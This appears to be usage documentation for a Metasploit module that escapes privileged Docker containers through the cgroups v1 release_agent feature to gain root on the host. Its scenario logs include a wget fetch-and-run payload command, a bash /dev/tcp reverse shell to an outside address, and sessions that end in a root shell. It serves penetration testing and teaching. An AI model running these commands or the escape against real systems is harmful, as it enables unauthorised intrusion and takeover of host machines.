## Vulnerable Application

This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.
If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.

A vulnerability was found in the Linux kernel's `cgroup_release_agent_write` in the `kernel/cgroup/cgroup-v1.c` function.
This flaw, under certain circumstances, allows the use of the cgroups v1 `release_agent` feature to escalate privileges
and bypass the namespace isolation unexpectedly.

More simply put, cgroups v1 has a feature called `release_agent` that runs a program when a process in the cgroup terminates.
If `notify_on_release` is enabled, the kernel runs the `release_agent` binary as root. By editing the release_agent file,
an attacker can execute their own binary with elevated privileges, taking control of the system. However, the `release_agent`
file is owned by root, so only a user with root access can modify it.

### Docker Setup

`sudo docker run --rm -it --privileged ubuntu:20.04 bash`

or

`sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash`

You may want to install `wget` to make initial exploitation easier as well:

```
apt-get update
apt-get install -y wget
```

## Verification Steps

1. Install Docker and start a docker container
2. Start msfconsole
3. Get a shell on the docker image as root. 
4. Do: `use exploit/linux/local/docker_cgroup_escape`
5. Do: `set lhost [ip]`
6. Do: `set session [#]`
7. Do: `run`
8. You should get a root shell on the host OS.

## Options

## Scenarios

### Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04

Initial Access

```
resource (docker.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (docker.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (docker.rb)> set srvport 8181
srvport => 8181
resource (docker.rb)> set target 7
target => 7
resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (docker.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Using URL: http://1.1.1.1:8181/QZWpVr8t
[*] Server started.
[*] Run the following command on the target machine:
wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] 2.2.2.2    web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

(Meterpreter 1)(/) > getuid
Server username: root
(Meterpreter 1)(/) > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 4.15.0-96-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

Exploit the Docker Escape

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape
[*] Using configured payload cmd/unix/reverse_bash
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1
lhost => 1.1.1.1
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988
lport => 9988
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true
verbose => true
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run

[+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181'
[*] Started reverse TCP handler on 1.1.1.1:9988 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu
[+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable
[*] Creating folder for mount: /tmp/eH7EY
[*] Creating directory /tmp/eH7EY
[*] /tmp/eH7EY created
[*] Mounting cgroup
[*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G
[*] Creating directory /tmp/eH7EY/qe0oj7G
[*] /tmp/eH7EY/qe0oj7G created
[*] Enabling notify on release for group qe0oj7G
[*] Determining the host OS path for image
[*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff
[*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF
[*] Uploading payload to /tmp/KksBaCbF
[*] Writing '/tmp/KksBaCbF' (88 bytes) ...
[*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs"
[*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500
[*] Cleanup: Unmounting /tmp/eH7EY

FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
```
